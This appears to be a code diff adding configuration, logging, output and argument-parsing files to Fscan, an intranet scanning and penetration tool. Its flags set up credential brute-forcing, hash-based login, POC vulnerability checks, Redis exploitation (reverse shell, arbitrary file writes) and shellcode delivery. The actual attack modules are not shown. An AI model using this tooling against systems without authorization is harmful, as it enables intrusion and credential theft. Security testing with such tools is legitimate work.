@@ -0,0 +1,220 @@
package Common
import (
"flag"
"fmt"
"os"
"strings"
"github.com/fatih/color"
)
func Banner() {
// 定义暗绿色系
colors := []color.Attribute{
color.FgGreen, // 基础绿
color.FgHiGreen, // 亮绿
}
lines := []string{
" ___ _ ",
" / _ \\ ___ ___ _ __ __ _ ___| | __ ",
" / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /",
"/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ",
"\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ",
}
// 获取最长行的长度
maxLength := 0
for _, line := range lines {
if len(line) > maxLength {
maxLength = len(line)
}
}
// 创建边框
topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐"
bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘"
// 打印banner
fmt.Println(topBorder)
for lineNum, line := range lines {
fmt.Print("│ ")
// 使用对应的颜色打印每个字符
c := color.New(colors[lineNum%2])
c.Print(line)
// 补齐空格
padding := maxLength - len(line)
fmt.Printf("%s │\n", strings.Repeat(" ", padding))
}
fmt.Println(bottomBorder)
// 打印版本信息
c := color.New(colors[1])
c.Printf(" Fscan Version: %s\n\n", version)
}
// Flag 解析命令行参数并配置扫描选项
func Flag(Info *HostInfo) {
Banner()
// ═════════════════════════════════════════════════
// 目标配置参数
// ═════════════════════════════════════════════════
flag.StringVar(&Info.Host, "h", "", GetText("flag_host"))
flag.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts"))
flag.StringVar(&Ports, "p", MainPorts, GetText("flag_ports"))
flag.StringVar(&ExcludePorts, "ep", "", GetText("flag_exclude_ports"))
flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file"))
flag.StringVar(&PortsFile, "pf", "", GetText("flag_ports_file"))
// ═════════════════════════════════════════════════
// 扫描控制参数
// ═════════════════════════════════════════════════
flag.StringVar(&ScanMode, "m", "all", GetText("flag_scan_mode"))
flag.IntVar(&ThreadNum, "t", 600, GetText("flag_thread_num"))
flag.Int64Var(&Timeout, "time", 3, GetText("flag_timeout"))
flag.IntVar(&ModuleThreadNum, "mt", 10, GetText("flag_module_thread_num"))
flag.Int64Var(&GlobalTimeout, "gt", 180, GetText("flag_global_timeout"))
flag.IntVar(&LiveTop, "top", 10, GetText("flag_live_top"))
flag.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping"))
flag.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping"))
flag.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint"))
flag.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode"))
// ═════════════════════════════════════════════════
// 认证与凭据参数
// ═════════════════════════════════════════════════
flag.StringVar(&Username, "user", "", GetText("flag_username"))
flag.StringVar(&Password, "pwd", "", GetText("flag_password"))
flag.StringVar(&AddUsers, "usera", "", GetText("flag_add_users"))
flag.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords"))
flag.StringVar(&UsersFile, "userf", "", GetText("flag_users_file"))
flag.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file"))
flag.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file"))
flag.StringVar(&HashValue, "hash", "", GetText("flag_hash_value"))
flag.StringVar(&Domain, "domain", "", GetText("flag_domain")) // SMB扫描用
flag.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key")) // SSH扫描用
// ═════════════════════════════════════════════════
// Web扫描参数
// ═════════════════════════════════════════════════
flag.StringVar(&TargetURL, "u", "", GetText("flag_target_url"))
flag.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file"))
flag.StringVar(&Cookie, "cookie", "", GetText("flag_cookie"))
flag.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout"))
flag.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy"))
flag.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy"))
// ═════════════════════════════════════════════════
// POC测试参数
// ═════════════════════════════════════════════════
flag.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path"))
flag.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name"))
flag.BoolVar(&PocFull, "full", false, GetText("flag_poc_full"))
flag.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log"))
flag.IntVar(&PocNum, "num", 20, GetText("flag_poc_num"))
flag.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_no_poc"))
// ═════════════════════════════════════════════════
// Redis利用参数
// ═════════════════════════════════════════════════
flag.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file"))
flag.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell"))
flag.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis"))
flag.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path"))
flag.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content"))
flag.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file"))
// ═════════════════════════════════════════════════
// 暴力破解控制参数
// ═════════════════════════════════════════════════
flag.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute"))
flag.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries"))
// ═════════════════════════════════════════════════
// 输出与显示控制参数
// ═════════════════════════════════════════════════
flag.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file"))
flag.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format"))
flag.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save"))
flag.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode"))
flag.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color"))
flag.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level"))
flag.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress"))
flag.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan"))
flag.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output"))
// ═════════════════════════════════════════════════
// 其他参数
// ═════════════════════════════════════════════════
flag.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode"))
flag.StringVar(&Language, "lang", "zh", GetText("flag_language"))
// 解析命令行参数
parseCommandLineArgs()
// 设置语言
SetLanguage()
}
// parseCommandLineArgs 处理来自环境变量和命令行的参数
func parseCommandLineArgs() {
// 首先检查环境变量中的参数
envArgsString := os.Getenv("FS_ARGS")
if envArgsString != "" {
// 解析环境变量参数 (跨平台支持)
envArgs, err := parseEnvironmentArgs(envArgsString)
if err == nil && len(envArgs) > 0 {
flag.CommandLine.Parse(envArgs)
os.Unsetenv("FS_ARGS") // 使用后清除环境变量
return
}
// 如果环境变量解析失败,继续使用命令行参数
}
// 解析命令行参数
flag.Parse()
}
// parseEnvironmentArgs 安全地解析环境变量中的参数
func parseEnvironmentArgs(argsString string) ([]string, error) {
if strings.TrimSpace(argsString) == "" {
return nil, fmt.Errorf("empty arguments string")
}
// 使用更安全的参数分割方法
var args []string
var currentArg strings.Builder
inQuote := false
quoteChar := ' '
for _, char := range argsString {
switch {
case char == '"' || char == '\'':
if inQuote && char == quoteChar {
inQuote = false
} else if !inQuote {
inQuote = true
quoteChar = char
} else {
currentArg.WriteRune(char)
}
case char == ' ' && !inQuote:
if currentArg.Len() > 0 {
args = append(args, currentArg.String())
currentArg.Reset()
}
default:
currentArg.WriteRune(char)
}
}
if currentArg.Len() > 0 {
args = append(args, currentArg.String())
}
return args, nil
}
+261
View File
@@ -0,0 +1,261 @@
package Common
import (
"fmt"
"io"
"log"
"path/filepath"
"runtime"
"strings"
"sync"
"time"
"github.com/fatih/color"
)
// 全局变量定义
var (
// 扫描状态管理器,记录最近一次成功和错误的时间
status = &ScanStatus{lastSuccess: time.Now(), lastError: time.Now()}
// Num 表示待处理的总任务数量
Num int64
// End 表示已经完成的任务数量
End int64
)
// ScanStatus 用于记录和管理扫描状态的结构体
type ScanStatus struct {
mu sync.RWMutex // 读写互斥锁,用于保护并发访问
total int64 // 总任务数
completed int64 // 已完成任务数
lastSuccess time.Time // 最近一次成功的时间
lastError time.Time // 最近一次错误的时间
}
// LogEntry 定义单条日志的结构
type LogEntry struct {
Level string // 日志级别: ERROR/INFO/SUCCESS/DEBUG
Time time.Time // 日志时间
Content string // 日志内容
}
// 定义系统支持的日志级别常量
const (
LogLevelAll = "ALL" // 显示所有级别日志
LogLevelError = "ERROR" // 仅显示错误日志
LogLevelBase = "BASE" // 仅显示信息日志
LogLevelInfo = "INFO" // 仅显示信息日志
LogLevelSuccess = "SUCCESS" // 仅显示成功日志
LogLevelDebug = "DEBUG" // 仅显示调试日志
)
// 日志级别对应的显示颜色映射
var logColors = map[string]color.Attribute{
LogLevelError: color.FgBlue, // 错误日志显示蓝色
LogLevelBase: color.FgYellow, // 信息日志显示黄色
LogLevelInfo: color.FgGreen, // 信息日志显示绿色
LogLevelSuccess: color.FgRed, // 成功日志显示红色
LogLevelDebug: color.FgWhite, // 调试日志显示白色
}
// InitLogger 初始化日志系统
func InitLogger() {
// 禁用标准日志输出
log.SetOutput(io.Discard)
}
var StartTime = time.Now()
// formatLogMessage 格式化日志消息为标准格式
// 返回格式:[时间] [级别] 内容
func formatLogMessage(entry *LogEntry) string {
elapsed := time.Since(StartTime)
var timeStr string
// 根据时间长短选择合适的单位
switch {
case elapsed < time.Second:
// 毫秒显示,不需要小数
timeStr = fmt.Sprintf("%dms", elapsed.Milliseconds())
case elapsed < time.Minute:
// 秒显示,保留一位小数
timeStr = fmt.Sprintf("%.1fs", elapsed.Seconds())
case elapsed < time.Hour:
// 分钟和秒显示
minutes := int(elapsed.Minutes())
seconds := int(elapsed.Seconds()) % 60
timeStr = fmt.Sprintf("%dm%ds", minutes, seconds)
default:
// 小时、分钟和秒显示
hours := int(elapsed.Hours())
minutes := int(elapsed.Minutes()) % 60
seconds := int(elapsed.Seconds()) % 60
timeStr = fmt.Sprintf("%dh%dm%ds", hours, minutes, seconds)
}
str := " "
switch entry.Level {
case LogLevelSuccess:
str = "[+]"
case LogLevelInfo:
str = "[*]"
case LogLevelError:
str = "[-]"
}
return fmt.Sprintf("[%s] %s %s", timeStr, str, entry.Content)
}
// printLog 根据日志级别打印日志
func printLog(entry *LogEntry) {
if LogLevel != "debug" && (entry.Level == LogLevelDebug || entry.Level == LogLevelError) {
return
}
OutputMutex.Lock()
defer OutputMutex.Unlock()
// 处理进度条
clearAndWaitProgress()
// 打印日志消息
logMsg := formatLogMessage(entry)
if !NoColor {
// 使用彩色输出
if colorAttr, ok := logColors[entry.Level]; ok {
color.New(colorAttr).Println(logMsg)
} else {
fmt.Println(logMsg)
}
} else {
// 普通输出
fmt.Println(logMsg)
}
// 根据慢速输出设置决定是否添加延迟
if SlowLogOutput {
time.Sleep(50 * time.Millisecond)
}
// 重新显示进度条
if ProgressBar != nil {
ProgressBar.RenderBlank()
}
}
// clearAndWaitProgress 清除进度条并等待
func clearAndWaitProgress() {
if ProgressBar != nil {
ProgressBar.Clear()
time.Sleep(10 * time.Millisecond)
}
}
// handleLog 统一处理日志的输出
func handleLog(entry *LogEntry) {
if ProgressBar != nil {
ProgressBar.Clear()
}
printLog(entry)
if ProgressBar != nil {
ProgressBar.RenderBlank()
}
}
// LogDebug 记录调试日志
func LogDebug(msg string) {
handleLog(&LogEntry{
Level: LogLevelDebug,
Time: time.Now(),
Content: msg,
})
}
// LogBase 记录进度信息
func LogBase(msg string) {
handleLog(&LogEntry{
Level: LogLevelBase,
Time: time.Now(),
Content: msg,
})
}
// LogInfo 记录信息日志
// [*]
func LogInfo(msg string) {
handleLog(&LogEntry{
Level: LogLevelInfo,
Time: time.Now(),
Content: msg,
})
}
// LogSuccess 记录成功日志,并更新最后成功时间
// [+]
func LogSuccess(result string) {
entry := &LogEntry{
Level: LogLevelSuccess,
Time: time.Now(),
Content: result,
}
handleLog(entry)
// 更新最后成功时间
status.mu.Lock()
status.lastSuccess = time.Now()
status.mu.Unlock()
}
// LogError 记录错误日志,自动包含文件名和行号信息
func LogError(errMsg string) {
// 获取调用者的文件名和行号
_, file, line, ok := runtime.Caller(1)
if !ok {
file = "unknown"
line = 0
}
file = filepath.Base(file)
errorMsg := fmt.Sprintf("%s:%d - %s", file, line, errMsg)
entry := &LogEntry{
Level: LogLevelError,
Time: time.Now(),
Content: errorMsg,
}
handleLog(entry)
}
// CheckErrs 检查是否为需要重试的错误
func CheckErrs(err error) error {
if err == nil {
return nil
}
// 已知需要重试的错误列表
errs := []string{
"closed by the remote host", "too many connections",
"EOF", "A connection attempt failed",
"established connection failed", "connection attempt failed",
"Unable to read", "is not allowed to connect to this",
"no pg_hba.conf entry",
"No connection could be made",
"invalid packet size",
"bad connection",
}
// 检查错误是否匹配
errLower := strings.ToLower(err.Error())
for _, key := range errs {
if strings.Contains(errLower, strings.ToLower(key)) {
time.Sleep(1 * time.Second)
return err
}
}
return nil
}
+312
View File
@@ -0,0 +1,312 @@
package Common
import (
"encoding/csv"
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"sync"
"time"
)
// 全局输出管理器
var ResultOutput *OutputManager
// OutputManager 输出管理器结构体
type OutputManager struct {
mu sync.Mutex
outputPath string
outputFormat string
file *os.File
csvWriter *csv.Writer
jsonEncoder *json.Encoder
isInitialized bool
}
// ResultType 定义结果类型
type ResultType string
const (
HOST ResultType = "HOST" // 主机存活
PORT ResultType = "PORT" // 端口开放
SERVICE ResultType = "SERVICE" // 服务识别
VULN ResultType = "VULN" // 漏洞发现
)
// ScanResult 扫描结果结构
type ScanResult struct {
Time time.Time `json:"time"` // 发现时间
Type ResultType `json:"type"` // 结果类型
Target string `json:"target"` // 目标(IP/域名/URL)
Status string `json:"status"` // 状态描述
Details map[string]interface{} `json:"details"` // 详细信息
}
// InitOutput 初始化输出系统
func InitOutput() error {
LogDebug(GetText("output_init_start"))
// 验证输出格式
switch OutputFormat {
case "txt", "json", "csv":
// 有效的格式
default:
return fmt.Errorf(GetText("output_format_invalid"), OutputFormat)
}
// 验证输出路径
if Outputfile == "" {
return fmt.Errorf(GetText("output_path_empty"))
}
dir := filepath.Dir(Outputfile)
if err := os.MkdirAll(dir, 0755); err != nil {
LogDebug(GetText("output_create_dir_failed", err))
return fmt.Errorf(GetText("output_create_dir_failed", err))
}
manager := &OutputManager{
outputPath: Outputfile,
outputFormat: OutputFormat,
}
if err := manager.initialize(); err != nil {
LogDebug(GetText("output_init_failed", err))
return fmt.Errorf(GetText("output_init_failed", err))
}
ResultOutput = manager
LogDebug(GetText("output_init_success"))
return nil
}
func (om *OutputManager) initialize() error {
om.mu.Lock()
defer om.mu.Unlock()
if om.isInitialized {
LogDebug(GetText("output_already_init"))
return nil
}
LogDebug(GetText("output_opening_file", om.outputPath))
file, err := os.OpenFile(om.outputPath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)
if err != nil {
LogDebug(GetText("output_open_file_failed", err))
return fmt.Errorf(GetText("output_open_file_failed", err))
}
om.file = file
switch om.outputFormat {
case "csv":
LogDebug(GetText("output_init_csv"))
om.csvWriter = csv.NewWriter(file)
headers := []string{"Time", "Type", "Target", "Status", "Details"}
if err := om.csvWriter.Write(headers); err != nil {
LogDebug(GetText("output_write_csv_header_failed", err))
file.Close()
return fmt.Errorf(GetText("output_write_csv_header_failed", err))
}
om.csvWriter.Flush()
case "json":
LogDebug(GetText("output_init_json"))
om.jsonEncoder = json.NewEncoder(file)
om.jsonEncoder.SetIndent("", " ")
case "txt":
LogDebug(GetText("output_init_txt"))
default:
LogDebug(GetText("output_format_invalid", om.outputFormat))
}
om.isInitialized = true
LogDebug(GetText("output_init_complete"))
return nil
}
// SaveResult 保存扫描结果
func SaveResult(result *ScanResult) error {
if ResultOutput == nil {
LogDebug(GetText("output_not_init"))
return fmt.Errorf(GetText("output_not_init"))
}
LogDebug(GetText("output_saving_result", result.Type, result.Target))
return ResultOutput.saveResult(result)
}
func GetResults() ([]*ScanResult, error) {
if ResultOutput == nil {
return nil, fmt.Errorf(GetText("output_not_init"))
}
if ResultOutput.outputFormat == "csv" {
return ResultOutput.getResult()
}
// 其他格式尚未实现读取支持
return nil, fmt.Errorf(GetText("output_format_read_not_supported"))
}
func (om *OutputManager) saveResult(result *ScanResult) error {
om.mu.Lock()
defer om.mu.Unlock()
if !om.isInitialized {
LogDebug(GetText("output_not_init"))
return fmt.Errorf(GetText("output_not_init"))
}
var err error
switch om.outputFormat {
case "txt":
err = om.writeTxt(result)
case "json":
err = om.writeJson(result)
case "csv":
err = om.writeCsv(result)
default:
LogDebug(GetText("output_format_invalid", om.outputFormat))
return fmt.Errorf(GetText("output_format_invalid", om.outputFormat))
}
if err != nil {
LogDebug(GetText("output_save_failed", err))
} else {
LogDebug(GetText("output_save_success", result.Type, result.Target))
}
return err
}
func (om *OutputManager) getResult() ([]*ScanResult, error) {
om.mu.Lock()
defer om.mu.Unlock()
if !om.isInitialized {
LogDebug(GetText("output_not_init"))
return nil, fmt.Errorf(GetText("output_not_init"))
}
file, err := os.Open(om.outputPath)
if err != nil {
LogDebug(GetText("output_open_file_failed", err))
return nil, err
}
defer file.Close()
reader := csv.NewReader(file)
records, err := reader.ReadAll()
if err != nil {
LogDebug(GetText("output_read_csv_failed", err))
return nil, err
}
var results []*ScanResult
for i, row := range records {
// 跳过 CSV 头部
if i == 0 {
continue
}
if len(row) < 5 {
continue // 数据不完整
}
t, err := time.Parse("2006-01-02 15:04:05", row[0])
if err != nil {
continue
}
var details map[string]interface{}
if err := json.Unmarshal([]byte(row[4]), &details); err != nil {
details = make(map[string]interface{})
}
result := &ScanResult{
Time: t,
Type: ResultType(row[1]),
Target: row[2],
Status: row[3],
Details: details,
}
results = append(results, result)
}
LogDebug(GetText("output_read_csv_success", len(results)))
return results, nil
}
func (om *OutputManager) writeTxt(result *ScanResult) error {
// 格式化 Details 为键值对字符串
var details string
if len(result.Details) > 0 {
pairs := make([]string, 0, len(result.Details))
for k, v := range result.Details {
pairs = append(pairs, fmt.Sprintf("%s=%v", k, v))
}
details = strings.Join(pairs, ", ")
}
txt := GetText("output_txt_format",
result.Time.Format("2006-01-02 15:04:05"),
result.Type,
result.Target,
result.Status,
details,
) + "\n"
_, err := om.file.WriteString(txt)
return err
}
func (om *OutputManager) writeJson(result *ScanResult) error {
return om.jsonEncoder.Encode(result)
}
func (om *OutputManager) writeCsv(result *ScanResult) error {
details, err := json.Marshal(result.Details)
if err != nil {
details = []byte("{}")
}
record := []string{
result.Time.Format("2006-01-02 15:04:05"),
string(result.Type),
result.Target,
result.Status,
string(details),
}
if err := om.csvWriter.Write(record); err != nil {
return err
}
om.csvWriter.Flush()
return om.csvWriter.Error()
}
// CloseOutput 关闭输出系统
func CloseOutput() error {
if ResultOutput == nil {
LogDebug(GetText("output_no_need_close"))
return nil
}
LogDebug(GetText("output_closing"))
ResultOutput.mu.Lock()
defer ResultOutput.mu.Unlock()
if !ResultOutput.isInitialized {
LogDebug(GetText("output_no_need_close"))
return nil
}
if ResultOutput.csvWriter != nil {
LogDebug(GetText("output_flush_csv"))
ResultOutput.csvWriter.Flush()
}
if err := ResultOutput.file.Close(); err != nil {
LogDebug(GetText("output_close_failed", err))
return fmt.Errorf(GetText("output_close_failed", err))
}
ResultOutput.isInitialized = false
LogDebug(GetText("output_closed"))
return nil
}
+548
View File
@@ -0,0 +1,548 @@
package Common
import (
"bufio"
"encoding/hex"
"flag"
"fmt"
"net/url"
"os"
"strings"
)
// Parse 配置解析的总入口函数
// 协调调用各解析子函数,完成完整的配置处理流程
func Parse(Info *HostInfo) error {
// 按照依赖顺序解析各类配置
if err := ParseUser(); err != nil {
return fmt.Errorf("用户名解析错误: %v", err)
}
if err := ParsePass(Info); err != nil {
return fmt.Errorf("密码与目标解析错误: %v", err)
}
if err := ParseInput(Info); err != nil {
return fmt.Errorf("输入参数解析错误: %v", err)
}
return nil
}
// ParseUser 解析用户名配置
// 处理直接指定的用户名和从文件加载的用户名,更新全局用户字典
func ParseUser() error {
// 如果未指定用户名和用户名文件,无需处理
if Username == "" && UsersFile == "" {
return nil
}
// 收集所有用户名
var usernames []string
// 处理命令行参数指定的用户名列表
if Username != "" {
usernames = strings.Split(Username, ",")
LogBase(GetText("no_username_specified", len(usernames)))
}
// 从文件加载用户名列表
if UsersFile != "" {
fileUsers, err := ReadFileLines(UsersFile)
if err != nil {
return fmt.Errorf("读取用户名文件失败: %v", err)
}
// 添加非空用户名
for _, user := range fileUsers {
if user != "" {
usernames = append(usernames, user)
}
}
LogBase(GetText("load_usernames_from_file", len(fileUsers)))
}
// 去重处理
usernames = RemoveDuplicate(usernames)
LogBase(GetText("total_usernames", len(usernames)))
// 更新所有字典的用户名列表
for name := range Userdict {
Userdict[name] = usernames
}
return nil
}
// ParsePass 解析密码、URL、主机和端口等目标配置
// 处理多种输入源的配置,并更新全局目标信息
func ParsePass(Info *HostInfo) error {
// 处理密码配置
parsePasswords()
// 处理哈希值配置
parseHashes()
// 处理URL配置
parseURLs()
// 处理主机配置
if err := parseHosts(Info); err != nil {
return err
}
// 处理端口配置
if err := parsePorts(); err != nil {
return err
}
return nil
}
// parsePasswords 解析密码配置
// 处理直接指定的密码和从文件加载的密码
func parsePasswords() {
var pwdList []string
// 处理命令行参数指定的密码列表
if Password != "" {
passes := strings.Split(Password, ",")
for _, pass := range passes {
// 保留空密码,因为空口令是重要的安全测试场景
pwdList = append(pwdList, pass)
}
Passwords = pwdList
LogBase(GetText("load_passwords", len(pwdList)))
}
// 从文件加载密码列表
if PasswordsFile != "" {
passes, err := ReadFileLines(PasswordsFile)
if err != nil {
LogError(fmt.Sprintf("读取密码文件失败: %v", err))
return
}
for _, pass := range passes {
// 保留空密码,用户可能在文件中故意添加空行来测试空口令
pwdList = append(pwdList, pass)
}
Passwords = pwdList
LogBase(GetText("load_passwords_from_file", len(passes)))
}
}
// parseHashes 解析哈希值配置
// 验证并处理哈希文件中的哈希值
func parseHashes() {
// 处理哈希文件
if HashFile == "" {
return
}
hashes, err := ReadFileLines(HashFile)
if err != nil {
LogError(fmt.Sprintf("读取哈希文件失败: %v", err))
return
}
validCount := 0
for _, line := range hashes {
if line == "" {
continue
}
// 验证哈希长度(MD5哈希为32位)
if len(line) == 32 {
HashValues = append(HashValues, line)
validCount++
} else {
LogError(GetText("invalid_hash", line))
}
}
LogBase(GetText("load_valid_hashes", validCount))
}
// parseURLs 解析URL目标配置
// 处理命令行和文件指定的URL列表,去重后更新全局URL列表
func parseURLs() {
urlMap := make(map[string]struct{})
// 处理命令行参数指定的URL列表
if TargetURL != "" {
urls := strings.Split(TargetURL, ",")
for _, url := range urls {
if url != "" {
urlMap[url] = struct{}{}
}
}
}
// 从文件加载URL列表
if URLsFile != "" {
urls, err := ReadFileLines(URLsFile)
if err != nil {
LogError(fmt.Sprintf("读取URL文件失败: %v", err))
return
}
for _, url := range urls {
if url != "" {
urlMap[url] = struct{}{}
}
}
}
// 更新全局URL列表(已去重)
URLs = make([]string, 0, len(urlMap))
for u := range urlMap {
URLs = append(URLs, u)
}
if len(URLs) > 0 {
LogBase(GetText("load_urls", len(URLs)))
}
}
// parseHosts 解析主机配置
// 从文件加载主机列表并更新目标信息
func parseHosts(Info *HostInfo) error {
// 如果未指定主机文件,无需处理
if HostsFile == "" {
return nil
}
hosts, err := ReadFileLines(HostsFile)
if err != nil {
return fmt.Errorf("读取主机文件失败: %v", err)
}
// 去重处理
hostMap := make(map[string]struct{})
for _, host := range hosts {
if host != "" {
hostMap[host] = struct{}{}
}
}
// 构建主机列表并更新Info.Host
if len(hostMap) > 0 {
var hostList []string
for host := range hostMap {
hostList = append(hostList, host)
}
hostStr := strings.Join(hostList, ",")
if Info.Host == "" {
Info.Host = hostStr
} else {
Info.Host += "," + hostStr
}
LogBase(GetText("load_hosts_from_file", len(hosts)))
}
return nil
}
// parsePorts 解析端口配置
// 从文件加载端口列表并更新全局端口配置
func parsePorts() error {
// 如果未指定端口文件,无需处理
if PortsFile == "" {
return nil
}
ports, err := ReadFileLines(PortsFile)
if err != nil {
return fmt.Errorf("读取端口文件失败: %v", err)
}
// 构建端口列表字符串
var portBuilder strings.Builder
for _, port := range ports {
if port != "" {
portBuilder.WriteString(port)
portBuilder.WriteString(",")
}
}
// 更新全局端口配置
Ports = portBuilder.String()
LogBase(GetText("load_ports_from_file"))
return nil
}
// parseExcludePorts 解析排除端口配置
// 更新全局排除端口配置
func parseExcludePorts() {
if ExcludePorts != "" {
LogBase(GetText("exclude_ports", ExcludePorts))
// 确保排除端口被正确设置到全局配置中
// 这将由PortScan函数在处理端口时使用
}
}
// ReadFileLines 读取文件内容并返回非空行的切片
// 通用的文件读取函数,处理文件打开、读取和错误报告
func ReadFileLines(filename string) ([]string, error) {
// 打开文件
file, err := os.Open(filename)
if err != nil {
LogError(GetText("open_file_failed", filename, err))
return nil, err
}
defer file.Close()
var content []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
// 逐行读取文件内容,忽略空行
lineCount := 0
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
content = append(content, text)
lineCount++
}
}
// 检查扫描过程中是否有错误
if err := scanner.Err(); err != nil {
LogError(GetText("read_file_failed", filename, err))
return nil, err
}
LogBase(GetText("read_file_success", filename, lineCount))
return content, nil
}
// ParseInput 解析和验证输入参数配置
// 处理多种配置的冲突检查、格式验证和参数处理
func ParseInput(Info *HostInfo) error {
// 检查扫描模式冲突
if err := validateScanMode(Info); err != nil {
return err
}
// 处理端口配置组合
processPortsConfig()
// 处理排除端口配置
parseExcludePorts()
// 处理额外用户名和密码
processExtraCredentials()
// 处理代理配置
if err := processProxySettings(); err != nil {
return err
}
// 处理哈希值
if err := processHashValues(); err != nil {
return err
}
return nil
}
// validateScanMode 验证扫描模式
// 检查互斥的扫描模式配置,避免参数冲突
func validateScanMode(Info *HostInfo) error {
// 检查互斥的扫描模式(主机扫描、URL扫描、本地模式)
modes := 0
if Info.Host != "" || HostsFile != "" {
modes++
}
if len(URLs) > 0 || TargetURL != "" || URLsFile != "" {
modes++
}
if LocalMode {
modes++
}
// 处理扫描模式验证结果
if modes == 0 {
// 无参数时显示帮助
flag.Usage()
return fmt.Errorf(GetText("specify_scan_params"))
} else if modes > 1 {
return fmt.Errorf(GetText("params_conflict"))
}
return nil
}
// processPortsConfig 处理端口配置
// 合并默认端口和附加端口配置
func processPortsConfig() {
// 如果使用主要端口,添加Web端口
if Ports == MainPorts {
Ports += "," + WebPorts
}
// 处理附加端口
if AddPorts != "" {
if strings.HasSuffix(Ports, ",") {
Ports += AddPorts
} else {
Ports += "," + AddPorts
}
LogBase(GetText("extra_ports", AddPorts))
}
// 确保排除端口配置被记录
if ExcludePorts != "" {
LogBase(GetText("exclude_ports_applied", ExcludePorts))
}
}
// processExtraCredentials 处理额外的用户名和密码
// 添加命令行指定的额外用户名和密码到现有配置
func processExtraCredentials() {
// 处理额外用户名
if AddUsers != "" {
users := strings.Split(AddUsers, ",")
for dict := range Userdict {
Userdict[dict] = append(Userdict[dict], users...)
Userdict[dict] = RemoveDuplicate(Userdict[dict])
}
LogBase(GetText("extra_usernames", AddUsers))
}
// 处理额外密码
if AddPasswords != "" {
passes := strings.Split(AddPasswords, ",")
Passwords = append(Passwords, passes...)
Passwords = RemoveDuplicate(Passwords)
LogBase(GetText("extra_passwords", AddPasswords))
}
}
// processProxySettings 处理代理设置
// 解析并验证Socks5和HTTP代理配置
func processProxySettings() error {
// 处理Socks5代理
if Socks5Proxy != "" {
if err := setupSocks5Proxy(); err != nil {
return err
}
}
// 处理HTTP代理
if HttpProxy != "" {
if err := setupHttpProxy(); err != nil {
return err
}
}
return nil
}
// setupSocks5Proxy 设置Socks5代理
// 格式化和验证Socks5代理URL
func setupSocks5Proxy() error {
// 规范化Socks5代理URL格式
if !strings.HasPrefix(Socks5Proxy, "socks5://") {
if !strings.Contains(Socks5Proxy, ":") {
// 仅指定端口时使用本地地址
Socks5Proxy = "socks5://127.0.0.1:" + Socks5Proxy
} else {
// 指定IP:PORT时添加协议前缀
Socks5Proxy = "socks5://" + Socks5Proxy
}
}
// 验证代理URL格式
_, err := url.Parse(Socks5Proxy)
if err != nil {
return fmt.Errorf(GetText("socks5_proxy_error", err))
}
// 使用Socks5代理时禁用Ping(无法通过代理进行ICMP)
DisablePing = true
LogBase(GetText("socks5_proxy", Socks5Proxy))
return nil
}
// setupHttpProxy 设置HTTP代理
// 处理多种HTTP代理简写形式并验证URL格式
func setupHttpProxy() error {
// 处理HTTP代理简写形式
switch HttpProxy {
case "1":
// 快捷方式1: 本地8080端口(常用代理工具默认端口)
HttpProxy = "http://127.0.0.1:8080"
case "2":
// 快捷方式2: 本地1080端口(常见SOCKS端口)
HttpProxy = "socks5://127.0.0.1:1080"
default:
// 仅指定端口时使用本地HTTP代理
if !strings.Contains(HttpProxy, "://") {
HttpProxy = "http://127.0.0.1:" + HttpProxy
}
}
// 验证代理协议
if !strings.HasPrefix(HttpProxy, "socks") && !strings.HasPrefix(HttpProxy, "http") {
return fmt.Errorf(GetText("unsupported_proxy"))
}
// 验证代理URL格式
_, err := url.Parse(HttpProxy)
if err != nil {
return fmt.Errorf(GetText("proxy_format_error", err))
}
LogBase(GetText("http_proxy", HttpProxy))
return nil
}
// processHashValues 处理哈希值
// 验证单个哈希值并处理哈希列表
func processHashValues() error {
// 处理单个哈希值
if HashValue != "" {
// MD5哈希必须是32位十六进制字符
if len(HashValue) != 32 {
return fmt.Errorf(GetText("hash_length_error"))
}
HashValues = append(HashValues, HashValue)
}
// 处理哈希值列表
HashValues = RemoveDuplicate(HashValues)
for _, hash := range HashValues {
// 将十六进制字符串转换为字节数组
